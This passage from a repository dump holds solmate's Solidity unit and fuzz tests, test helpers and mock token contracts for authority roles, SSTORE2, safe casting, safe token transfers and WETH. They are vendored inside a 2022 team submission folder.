assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testSetRoles(address user, uint8 role) public {
assertFalse(rolesAuthority.doesUserHaveRole(user, role));
rolesAuthority.setUserRole(user, role, true);
assertTrue(rolesAuthority.doesUserHaveRole(user, role));
rolesAuthority.setUserRole(user, role, false);
assertFalse(rolesAuthority.doesUserHaveRole(user, role));
}
function testSetRoleCapabilities(
uint8 role,
address target,
bytes4 functionSig
) public {
assertFalse(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, true);
assertTrue(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, false);
assertFalse(rolesAuthority.doesRoleHaveCapability(role, target, functionSig));
}
function testSetPublicCapabilities(address target, bytes4 functionSig) public {
assertFalse(rolesAuthority.isCapabilityPublic(target, functionSig));
rolesAuthority.setPublicCapability(target, functionSig, true);
assertTrue(rolesAuthority.isCapabilityPublic(target, functionSig));
rolesAuthority.setPublicCapability(target, functionSig, false);
assertFalse(rolesAuthority.isCapabilityPublic(target, functionSig));
}
function testCanCallWithAuthorizedRole(
address user,
uint8 role,
address target,
bytes4 functionSig
) public {
assertFalse(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setUserRole(user, role, true);
assertFalse(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, true);
assertTrue(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, false);
assertFalse(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setRoleCapability(role, target, functionSig, true);
assertTrue(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setUserRole(user, role, false);
assertFalse(rolesAuthority.canCall(user, target, functionSig));
}
function testCanCallPublicCapability(
address user,
address target,
bytes4 functionSig
) public {
assertFalse(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setPublicCapability(target, functionSig, true);
assertTrue(rolesAuthority.canCall(user, target, functionSig));
rolesAuthority.setPublicCapability(target, functionSig, false);
assertFalse(rolesAuthority.canCall(user, target, functionSig));
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/SSTORE2.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {SSTORE2} from "../utils/SSTORE2.sol";
contract SSTORE2Test is DSTestPlus {
function testWriteRead() public {
bytes memory testBytes = abi.encode("this is a test");
address pointer = SSTORE2.write(testBytes);
assertBytesEq(SSTORE2.read(pointer), testBytes);
}
function testWriteReadFullStartBound() public {
assertBytesEq(SSTORE2.read(SSTORE2.write(hex"11223344"), 0), hex"11223344");
}
function testWriteReadCustomStartBound() public {
assertBytesEq(SSTORE2.read(SSTORE2.write(hex"11223344"), 1), hex"223344");
}
function testWriteReadFullBoundedRead() public {
bytes memory testBytes = abi.encode("this is a test");
assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes), 0, testBytes.length), testBytes);
}
function testWriteReadCustomBounds() public {
assertBytesEq(SSTORE2.read(SSTORE2.write(hex"11223344"), 1, 3), hex"2233");
}
function testWriteReadEmptyBound() public {
SSTORE2.read(SSTORE2.write(hex"11223344"), 3, 3);
}
function testFailReadInvalidPointer() public view {
SSTORE2.read(DEAD_ADDRESS);
}
function testFailReadInvalidPointerCustomStartBound() public view {
SSTORE2.read(DEAD_ADDRESS, 1);
}
function testFailReadInvalidPointerCustomBounds() public view {
SSTORE2.read(DEAD_ADDRESS, 2, 4);
}
function testFailWriteReadOutOfStartBound() public {
SSTORE2.read(SSTORE2.write(hex"11223344"), 41000);
}
function testFailWriteReadEmptyOutOfBounds() public {
SSTORE2.read(SSTORE2.write(hex"11223344"), 42000, 42000);
}
function testFailWriteReadOutOfBounds() public {
SSTORE2.read(SSTORE2.write(hex"11223344"), 41000, 42000);
}
function testWriteRead(bytes calldata testBytes) public {
assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes)), testBytes);
}
function testWriteReadCustomStartBound(bytes calldata testBytes, uint256 startIndex) public {
if (testBytes.length == 0) return;
startIndex = bound(startIndex, 0, testBytes.length);
assertBytesEq(SSTORE2.read(SSTORE2.write(testBytes), startIndex), bytes(testBytes[startIndex:]));
}
function testWriteReadCustomBounds(
bytes calldata testBytes,
uint256 startIndex,
uint256 endIndex
) public {
if (testBytes.length == 0) return;
endIndex = bound(endIndex, 0, testBytes.length);
startIndex = bound(startIndex, 0, testBytes.length);
if (startIndex > endIndex) return;
assertBytesEq(
SSTORE2.read(SSTORE2.write(testBytes), startIndex, endIndex),
bytes(testBytes[startIndex:endIndex])
);
}
function testFailReadInvalidPointer(address pointer) public view {
SSTORE2.read(pointer);
}
function testFailReadInvalidPointerCustomStartBound(address pointer, uint256 startIndex) public view {
SSTORE2.read(pointer, startIndex);
}
function testFailReadInvalidPointerCustomBounds(
address pointer,
uint256 startIndex,
uint256 endIndex
) public view {
SSTORE2.read(pointer, startIndex, endIndex);
}
function testFailWriteReadCustomStartBoundOutOfRange(bytes calldata testBytes, uint256 startIndex) public {
startIndex = bound(startIndex, testBytes.length + 1, type(uint256).max);
SSTORE2.read(SSTORE2.write(testBytes), startIndex);
}
function testFailWriteReadCustomBoundsOutOfRange(
bytes calldata testBytes,
uint256 startIndex,
uint256 endIndex
) public {
endIndex = bound(endIndex, startIndex + 1, type(uint256).max);
SSTORE2.read(SSTORE2.write(testBytes), startIndex, endIndex);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/SafeCastLib.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {SafeCastLib} from "../utils/SafeCastLib.sol";
contract SafeCastLibTest is DSTestPlus {
function testSafeCastTo248() public {
assertEq(SafeCastLib.safeCastTo248(2.5e45), 2.5e45);
assertEq(SafeCastLib.safeCastTo248(2.5e27), 2.5e27);
}
function testSafeCastTo128() public {
assertEq(SafeCastLib.safeCastTo128(2.5e27), 2.5e27);
assertEq(SafeCastLib.safeCastTo128(2.5e18), 2.5e18);
}
function testSafeCastTo96() public {
assertEq(SafeCastLib.safeCastTo96(2.5e18), 2.5e18);
assertEq(SafeCastLib.safeCastTo96(2.5e17), 2.5e17);
}
function testSafeCastTo64() public {
assertEq(SafeCastLib.safeCastTo64(2.5e18), 2.5e18);
assertEq(SafeCastLib.safeCastTo64(2.5e17), 2.5e17);
}
function testSafeCastTo32() public {
assertEq(SafeCastLib.safeCastTo32(2.5e8), 2.5e8);
assertEq(SafeCastLib.safeCastTo32(2.5e7), 2.5e7);
}
function testFailSafeCastTo248() public pure {
SafeCastLib.safeCastTo248(type(uint248).max + 1);
}
function testFailSafeCastTo128() public pure {
SafeCastLib.safeCastTo128(type(uint128).max + 1);
}
function testFailSafeCastTo96() public pure {
SafeCastLib.safeCastTo96(type(uint96).max + 1);
}
function testFailSafeCastTo64() public pure {
SafeCastLib.safeCastTo64(type(uint64).max + 1);
}
function testFailSafeCastTo32() public pure {
SafeCastLib.safeCastTo32(type(uint32).max + 1);
}
function testSafeCastTo248(uint256 x) public {
x = bound(x, 0, type(uint248).max);
assertEq(SafeCastLib.safeCastTo248(x), x);
}
function testSafeCastTo128(uint256 x) public {
x = bound(x, 0, type(uint128).max);
assertEq(SafeCastLib.safeCastTo128(x), x);
}
function testSafeCastTo96(uint256 x) public {
x = bound(x, 0, type(uint96).max);
assertEq(SafeCastLib.safeCastTo96(x), x);
}
function testSafeCastTo64(uint256 x) public {
x = bound(x, 0, type(uint64).max);
assertEq(SafeCastLib.safeCastTo64(x), x);
}
function testSafeCastTo32(uint256 x) public {
x = bound(x, 0, type(uint32).max);
assertEq(SafeCastLib.safeCastTo32(x), x);
}
function testFailSafeCastTo248(uint256 x) public pure {
x = bound(x, type(uint248).max + 1, type(uint256).max);
SafeCastLib.safeCastTo248(x);
}
function testFailSafeCastTo128(uint256 x) public pure {
x = bound(x, type(uint128).max + 1, type(uint256).max);
SafeCastLib.safeCastTo128(x);
}
function testFailSafeCastTo96(uint256 x) public pure {
x = bound(x, type(uint96).max + 1, type(uint256).max);
SafeCastLib.safeCastTo96(x);
}
function testFailSafeCastTo64(uint256 x) public pure {
x = bound(x, type(uint64).max + 1, type(uint256).max);
SafeCastLib.safeCastTo64(x);
}
function testFailSafeCastTo32(uint256 x) public pure {
x = bound(x, type(uint32).max + 1, type(uint256).max);
SafeCastLib.safeCastTo32(x);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/SafeTransferLib.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {ERC20} from "weird-erc20/ERC20.sol";
import {ReturnsFalseToken} from "weird-erc20/ReturnsFalse.sol";
import {MissingReturnToken} from "weird-erc20/MissingReturns.sol";
import {TransferFromSelfToken} from "weird-erc20/TransferFromSelf.sol";
import {PausableToken} from "weird-erc20/Pausable.sol";
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {SafeTransferLib, ERC20 as SolmateERC20} from "../utils/SafeTransferLib.sol";
contract SafeTransferLibTest is DSTestPlus {
ReturnsFalseToken returnsFalse;
MissingReturnToken missingReturn;
TransferFromSelfToken transferFromSelf;
PausableToken pausable;
ERC20 erc20;
function setUp() public {
returnsFalse = new ReturnsFalseToken(type(uint256).max);
missingReturn = new MissingReturnToken(type(uint256).max);
transferFromSelf = new TransferFromSelfToken(type(uint256).max);
pausable = new PausableToken(type(uint256).max);
pausable.stop();
erc20 = new ERC20(type(uint256).max);
}
function testTransferWithMissingReturn() public {
verifySafeTransfer(address(missingReturn), address(0xBEEF), 1e18);
}
function testTransferWithTransferFromSelf() public {
verifySafeTransfer(address(transferFromSelf), address(0xBEEF), 1e18);
}
function testTransferWithStandardERC20() public {
verifySafeTransfer(address(erc20), address(0xBEEF), 1e18);
}
function testTransferWithNonContract() public {
SafeTransferLib.safeTransfer(SolmateERC20(address(0xBADBEEF)), address(0xBEEF), 1e18);
}
function testTransferFromWithMissingReturn() public {
verifySafeTransferFrom(address(missingReturn), address(0xFEED), address(0xBEEF), 1e18);
}
function testTransferFromWithTransferFromSelf() public {
verifySafeTransferFrom(address(transferFromSelf), address(0xFEED), address(0xBEEF), 1e18);
}
function testTransferFromWithStandardERC20() public {
verifySafeTransferFrom(address(erc20), address(0xFEED), address(0xBEEF), 1e18);
}
function testTransferFromWithNonContract() public {
SafeTransferLib.safeTransferFrom(SolmateERC20(address(0xBADBEEF)), address(0xFEED), address(0xBEEF), 1e18);
}
function testApproveWithMissingReturn() public {
verifySafeApprove(address(missingReturn), address(0xBEEF), 1e18);
}
function testApproveWithTransferFromSelf() public {
verifySafeApprove(address(transferFromSelf), address(0xBEEF), 1e18);
}
function testApproveWithStandardERC20() public {
verifySafeApprove(address(transferFromSelf), address(0xBEEF), 1e18);
}
function testApproveWithNonContract() public {
SafeTransferLib.safeApprove(SolmateERC20(address(0xBADBEEF)), address(0xBEEF), 1e18);
}
function testTransferETH() public {
SafeTransferLib.safeTransferETH(address(0xBEEF), 1e18);
}
function testFailTransferWithReturnsFalse() public {
verifySafeTransfer(address(returnsFalse), address(0xBEEF), 1e18);
}
function testFailTransferWithPausable() public {
verifySafeTransfer(address(pausable), address(0xBEEF), 1e18);
}
function testFailTransferFromWithReturnsFalse() public {
verifySafeTransferFrom(address(returnsFalse), address(0xFEED), address(0xBEEF), 1e18);
}
function testFailTransferFromWithPausable() public {
verifySafeTransferFrom(address(pausable), address(0xFEED), address(0xBEEF), 1e18);
}
function testFailApproveWithReturnsFalse() public {
verifySafeApprove(address(returnsFalse), address(0xBEEF), 1e18);
}
function testFailApproveWithPausable() public {
verifySafeApprove(address(pausable), address(0xBEEF), 1e18);
}
function testTransferWithMissingReturn(address to, uint256 amount) public {
verifySafeTransfer(address(missingReturn), to, amount);
}
function testTransferWithTransferFromSelf(address to, uint256 amount) public {
verifySafeTransfer(address(transferFromSelf), to, amount);
}
function testTransferWithStandardERC20(address to, uint256 amount) public {
verifySafeTransfer(address(erc20), to, amount);
}
function testFailTransferETHToContractWithoutFallback() public {
SafeTransferLib.safeTransferETH(address(this), 1e18);
}
function testTransferWithNonContract(
address nonContract,
address to,
uint256 amount
) public {
if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;
SafeTransferLib.safeTransfer(SolmateERC20(nonContract), to, amount);
}
function testTransferFromWithMissingReturn(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(missingReturn), from, to, amount);
}
function testTransferFromWithTransferFromSelf(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(transferFromSelf), from, to, amount);
}
function testTransferFromWithStandardERC20(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(erc20), from, to, amount);
}
function testTransferFromWithNonContract(
address nonContract,
address from,
address to,
uint256 amount
) public {
if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;
SafeTransferLib.safeTransferFrom(SolmateERC20(nonContract), from, to, amount);
}
function testApproveWithMissingReturn(address to, uint256 amount) public {
verifySafeApprove(address(missingReturn), to, amount);
}
function testApproveWithTransferFromSelf(address to, uint256 amount) public {
verifySafeApprove(address(transferFromSelf), to, amount);
}
function testApproveWithStandardERC20(address to, uint256 amount) public {
verifySafeApprove(address(transferFromSelf), to, amount);
}
function testApproveWithNonContract(
address nonContract,
address to,
uint256 amount
) public {
if (uint256(uint160(nonContract)) <= 18 || nonContract.code.length > 0) return;
SafeTransferLib.safeApprove(SolmateERC20(nonContract), to, amount);
}
function testTransferETH(address recipient, uint256 amount) public {
if (uint256(uint160(recipient)) <= 18) return;
amount = bound(amount, 0, address(this).balance);
SafeTransferLib.safeTransferETH(recipient, amount);
}
function testFailTransferWithReturnsFalse(address to, uint256 amount) public {
verifySafeTransfer(address(returnsFalse), to, amount);
}
function testFailTransferWithPausable(address to, uint256 amount) public {
verifySafeTransfer(address(pausable), to, amount);
}
function testFailTransferFromWithReturnsFalse(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(returnsFalse), from, to, amount);
}
function testFailTransferFromWithPausable(
address from,
address to,
uint256 amount
) public {
verifySafeTransferFrom(address(pausable), from, to, amount);
}
function testFailApproveWithReturnsFalse(address to, uint256 amount) public {
verifySafeApprove(address(returnsFalse), to, amount);
}
function testFailApproveWithPausable(address to, uint256 amount) public {
verifySafeApprove(address(pausable), to, amount);
}
function testFailTransferETHToContractWithoutFallback(uint256 amount) public {
SafeTransferLib.safeTransferETH(address(this), amount);
}
function verifySafeTransfer(
address token,
address to,
uint256 amount
) internal {
uint256 preBal = ERC20(token).balanceOf(to);
SafeTransferLib.safeTransfer(SolmateERC20(address(token)), to, amount);
uint256 postBal = ERC20(token).balanceOf(to);
if (to == address(this)) {
assertEq(preBal, postBal);
} else {
assertEq(postBal - preBal, amount);
}
}
function verifySafeTransferFrom(
address token,
address from,
address to,
uint256 amount
) internal {
forceApprove(token, from, address(this), amount);
SafeTransferLib.safeTransfer(SolmateERC20(token), from, amount);
uint256 preBal = ERC20(token).balanceOf(to);
SafeTransferLib.safeTransferFrom(SolmateERC20(token), from, to, amount);
uint256 postBal = ERC20(token).balanceOf(to);
if (from == to) {
assertEq(preBal, postBal);
} else {
assertEq(postBal - preBal, amount);
}
}
function verifySafeApprove(
address token,
address to,
uint256 amount
) internal {
SafeTransferLib.safeApprove(SolmateERC20(address(token)), to, amount);
assertEq(ERC20(token).allowance(address(this), to), amount);
}
function forceApprove(
address token,
address from,
address to,
uint256 amount
) internal {
uint256 slot = token == address(erc20) || token == address(pausable) ? 3 : 2;
hevm.store(
token,
keccak256(abi.encode(to, keccak256(abi.encode(from, uint256(slot))))),
bytes32(uint256(amount))
);
assertEq(ERC20(token).allowance(from, to), amount, "wrong allowance");
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/WETH.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {DSInvariantTest} from "./utils/DSInvariantTest.sol";
import {SafeTransferLib} from "../utils/SafeTransferLib.sol";
import {WETH} from "../tokens/WETH.sol";
contract WETHTest is DSTestPlus {
WETH weth;
function setUp() public {
weth = new WETH();
}
function testDeposit() public {
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
SafeTransferLib.safeTransferETH(address(weth), 1 ether);
assertEq(weth.balanceOf(address(this)), 1 ether);
assertEq(weth.totalSupply(), 1 ether);
}
function testFallbackDeposit() public {
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
weth.deposit{value: 1 ether}();
assertEq(weth.balanceOf(address(this)), 1 ether);
assertEq(weth.totalSupply(), 1 ether);
}
function testWithdraw() public {
uint256 startingBalance = address(this).balance;
weth.deposit{value: 1 ether}();
weth.withdraw(1 ether);
uint256 balanceAfterWithdraw = address(this).balance;
assertEq(balanceAfterWithdraw, startingBalance);
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
}
function testPartialWithdraw() public {
weth.deposit{value: 1 ether}();
uint256 balanceBeforeWithdraw = address(this).balance;
weth.withdraw(0.5 ether);
uint256 balanceAfterWithdraw = address(this).balance;
assertEq(balanceAfterWithdraw, balanceBeforeWithdraw + 0.5 ether);
assertEq(weth.balanceOf(address(this)), 0.5 ether);
assertEq(weth.totalSupply(), 0.5 ether);
}
function testDeposit(uint256 amount) public {
amount = bound(amount, 0, address(this).balance);
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
SafeTransferLib.safeTransferETH(address(weth), amount);
assertEq(weth.balanceOf(address(this)), amount);
assertEq(weth.totalSupply(), amount);
}
function testFallbackDeposit(uint256 amount) public {
amount = bound(amount, 0, address(this).balance);
assertEq(weth.balanceOf(address(this)), 0);
assertEq(weth.totalSupply(), 0);
weth.deposit{value: amount}();
assertEq(weth.balanceOf(address(this)), amount);
assertEq(weth.totalSupply(), amount);
}
function testWithdraw(uint256 depositAmount, uint256 withdrawAmount) public {
depositAmount = bound(depositAmount, 0, address(this).balance);
withdrawAmount = bound(withdrawAmount, 0, depositAmount);
weth.deposit{value: depositAmount}();
uint256 balanceBeforeWithdraw = address(this).balance;
weth.withdraw(withdrawAmount);
uint256 balanceAfterWithdraw = address(this).balance;
assertEq(balanceAfterWithdraw, balanceBeforeWithdraw + withdrawAmount);
assertEq(weth.balanceOf(address(this)), depositAmount - withdrawAmount);
assertEq(weth.totalSupply(), depositAmount - withdrawAmount);
}
receive() external payable {}
}
contract WETHInvariants is DSTestPlus, DSInvariantTest {
WETHTester wethTester;
WETH weth;
function setUp() public {
weth = new WETH();
wethTester = new WETHTester{value: address(this).balance}(weth);
addTargetContract(address(wethTester));
}
function invariantTotalSupplyEqualsBalance() public {
assertEq(address(weth).balance, weth.totalSupply());
}
}
contract WETHTester {
WETH weth;
constructor(WETH _weth) payable {
weth = _weth;
}
function deposit(uint256 amount) public {
weth.deposit{value: amount}();
}
function fallbackDeposit(uint256 amount) public {
SafeTransferLib.safeTransferETH(address(weth), amount);
}
function withdraw(uint256 amount) public {
weth.withdraw(amount);
}
receive() external payable {}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/DSInvariantTest.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
contract DSInvariantTest {
address[] private targets;
function targetContracts() public view virtual returns (address[] memory) {
require(targets.length > 0, "NO_TARGET_CONTRACTS");
return targets;
}
function addTargetContract(address newTargetContract) internal virtual {
targets.push(newTargetContract);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/DSTestPlus.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {DSTest} from "ds-test/test.sol";
import {Hevm} from "./Hevm.sol";
/// @notice Extended testing framework for DappTools projects.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/test/utils/DSTestPlus.sol)
contract DSTestPlus is DSTest {
Hevm internal constant hevm = Hevm(HEVM_ADDRESS);
address internal constant DEAD_ADDRESS = 0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF;
string private checkpointLabel;
uint256 private checkpointGasLeft;
function startMeasuringGas(string memory label) internal virtual {
checkpointLabel = label;
checkpointGasLeft = gasleft();
}
function stopMeasuringGas() internal virtual {
uint256 checkpointGasLeft2 = gasleft();
string memory label = checkpointLabel;
emit log_named_uint(string(abi.encodePacked(label, " Gas")), checkpointGasLeft - checkpointGasLeft2);
}
function fail(string memory err) internal virtual {
emit log_named_string("Error", err);
fail();
}
function assertFalse(bool data) internal virtual {
assertTrue(!data);
}
function assertUint128Eq(uint128 a, uint128 b) internal virtual {
assertEq(uint256(a), uint256(b));
}
function assertUint64Eq(uint64 a, uint64 b) internal virtual {
assertEq(uint256(a), uint256(b));
}
function assertUint96Eq(uint96 a, uint96 b) internal virtual {
assertEq(uint256(a), uint256(b));
}
function assertUint32Eq(uint32 a, uint32 b) internal virtual {
assertEq(uint256(a), uint256(b));
}
function assertBoolEq(bool a, bool b) internal virtual {
b ? assertTrue(a) : assertFalse(a);
}
function assertApproxEq(
uint256 a,
uint256 b,
uint256 maxDelta
) internal virtual {
uint256 delta = a > b ? a - b : b - a;
if (delta > maxDelta) {
emit log("Error: a ~= b not satisfied [uint]");
emit log_named_uint(" Expected", a);
emit log_named_uint(" Actual", b);
emit log_named_uint(" Max Delta", maxDelta);
emit log_named_uint(" Delta", delta);
fail();
}
}
function assertRelApproxEq(
uint256 a,
uint256 b,
uint256 maxPercentDelta
) internal virtual {
uint256 delta = a > b ? a - b : b - a;
uint256 abs = a > b ? a : b;
uint256 percentDelta = (delta * 1e18) / abs;
if (percentDelta > maxPercentDelta) {
emit log("Error: a ~= b not satisfied [uint]");
emit log_named_uint(" Expected", a);
emit log_named_uint(" Actual", b);
emit log_named_uint(" Max % Delta", maxPercentDelta);
emit log_named_uint(" % Delta", percentDelta);
fail();
}
}
function assertBytesEq(bytes memory a, bytes memory b) internal virtual {
if (keccak256(a) != keccak256(b)) {
emit log("Error: a == b not satisfied [bytes]");
emit log_named_bytes(" Expected", b);
emit log_named_bytes(" Actual", a);
fail();
}
}
function assertUintArrayEq(uint256[] memory a, uint256[] memory b) internal virtual {
require(a.length == b.length, "LENGTH_MISMATCH");
for (uint256 i = 0; i < a.length; i++) {
assertEq(a[i], b[i]);
}
}
function bound(
uint256 x,
uint256 min,
uint256 max
) internal pure returns (uint256 result) {
require(max >= min, "MAX_LESS_THAN_MIN");
uint256 size = max - min;
if (max != type(uint256).max) size++; // Make the max inclusive.
if (size == 0) return min; // Using max would be equivalent as well.
// Ensure max is inclusive in cases where x != 0 and max is at uint max.
if (max == type(uint256).max && x != 0) x--; // Accounted for later.
if (x < min) x += size * (((min - x) / size) + 1);
result = min + ((x - min) % size);
// Account for decrementing x to make max inclusive.
if (max == type(uint256).max && x != 0) result++;
}
function min3(
uint256 a,
uint256 b,
uint256 c
) internal pure returns (uint256) {
return a > b ? (b > c ? c : b) : (a > c ? c : a);
}
function min2(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? b : a;
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/Hevm.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
interface Hevm {
function warp(uint256) external;
function roll(uint256) external;
function store(
address,
bytes32,
bytes32
) external;
function load(address, bytes32) external returns (bytes32);
function sign(uint256, bytes32)
external
returns (
uint8,
bytes32,
bytes32
);
function addr(uint256) external returns (address);
function ffi(string[] calldata) external returns (bytes memory);
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/mocks/MockAuthChild.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {Auth, Authority} from "../../../auth/Auth.sol";
contract MockAuthChild is Auth(msg.sender, Authority(address(0))) {
bool public flag;
function updateFlag() public virtual requiresAuth {
flag = true;
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/mocks/MockAuthority.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {Authority} from "../../../auth/Auth.sol";
contract MockAuthority is Authority {
bool immutable allowCalls;
constructor(bool _allowCalls) {
allowCalls = _allowCalls;
}
function canCall(
address,
address,
bytes4
) public view override returns (bool) {
return allowCalls;
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/mocks/MockERC1155.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC1155} from "../../../tokens/ERC1155.sol";
contract MockERC1155 is ERC1155 {
function uri(uint256) public pure virtual override returns (string memory) {}
function mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
_mint(to, id, amount, data);
}
function batchMint(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
_batchMint(to, ids, amounts, data);
}
function burn(
address from,
uint256 id,
uint256 amount
) public virtual {
_burn(from, id, amount);
}
function batchBurn(
address from,
uint256[] memory ids,
uint256[] memory amounts
) public virtual {
_batchBurn(from, ids, amounts);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/mocks/MockERC20.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../../../tokens/ERC20.sol";
contract MockERC20 is ERC20 {
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals
) ERC20(_name, _symbol, _decimals) {}
function mint(address to, uint256 value) public virtual {
_mint(to, value);
}
function burn(address from, uint256 value) public virtual {
_burn(from, value);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/mocks/MockERC721.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC721} from "../../../tokens/ERC721.sol";
contract MockERC721 is ERC721 {
constructor(string memory _name, string memory _symbol) ERC721(_name, _symbol) {}
function tokenURI(uint256) public pure virtual override returns (string memory) {}
function mint(address to, uint256 tokenId) public virtual {
_mint(to, tokenId);
}
function burn(uint256 tokenId) public virtual {
_burn(tokenId);
}
function safeMint(address to, uint256 tokenId) public virtual {
_safeMint(to, tokenId);
}
function safeMint(
address to,
uint256 tokenId,
bytes memory data
) public virtual {
_safeMint(to, tokenId, data);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/users/ERC1155User.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC1155, ERC1155TokenReceiver} from "../../../tokens/ERC1155.sol";
contract ERC1155User is ERC1155TokenReceiver {
ERC1155 token;
constructor(ERC1155 _token) {
token = _token;
}
function onERC1155Received(
address,
address,
uint256,
uint256,
bytes calldata
) external virtual override returns (bytes4) {
return ERC1155TokenReceiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external virtual override returns (bytes4) {
return ERC1155TokenReceiver.onERC1155BatchReceived.selector;
}
function setApprovalForAll(address operator, bool approved) public virtual {
token.setApprovalForAll(operator, approved);
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual {
token.safeTransferFrom(from, to, id, amount, data);
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual {
token.safeBatchTransferFrom(from, to, ids, amounts, data);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/users/ERC20User.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC20} from "../../../tokens/ERC20.sol";
contract ERC20User {
ERC20 token;
constructor(ERC20 _token) {
token = _token;
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
return token.approve(spender, amount);
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
return token.transfer(to, amount);
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual returns (bool) {
return token.transferFrom(from, to, amount);
}
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual {
return token.permit(owner, spender, value, deadline, v, r, s);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/utils/users/ERC721User.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity >=0.8.0;
import {ERC721, ERC721TokenReceiver} from "../../../tokens/ERC721.sol";
contract ERC721User is ERC721TokenReceiver {
ERC721 token;
constructor(ERC721 _token) {
token = _token;
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) public virtual override returns (bytes4) {
return ERC721TokenReceiver.onERC721Received.selector;
}
function approve(address spender, uint256 tokenId) public virtual {
token.approve(spender, tokenId);
}
function setApprovalForAll(address operator, bool approved) public virtual {
token.setApprovalForAll(operator, approved);
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
token.transferFrom(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual {
token.safeTransferFrom(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
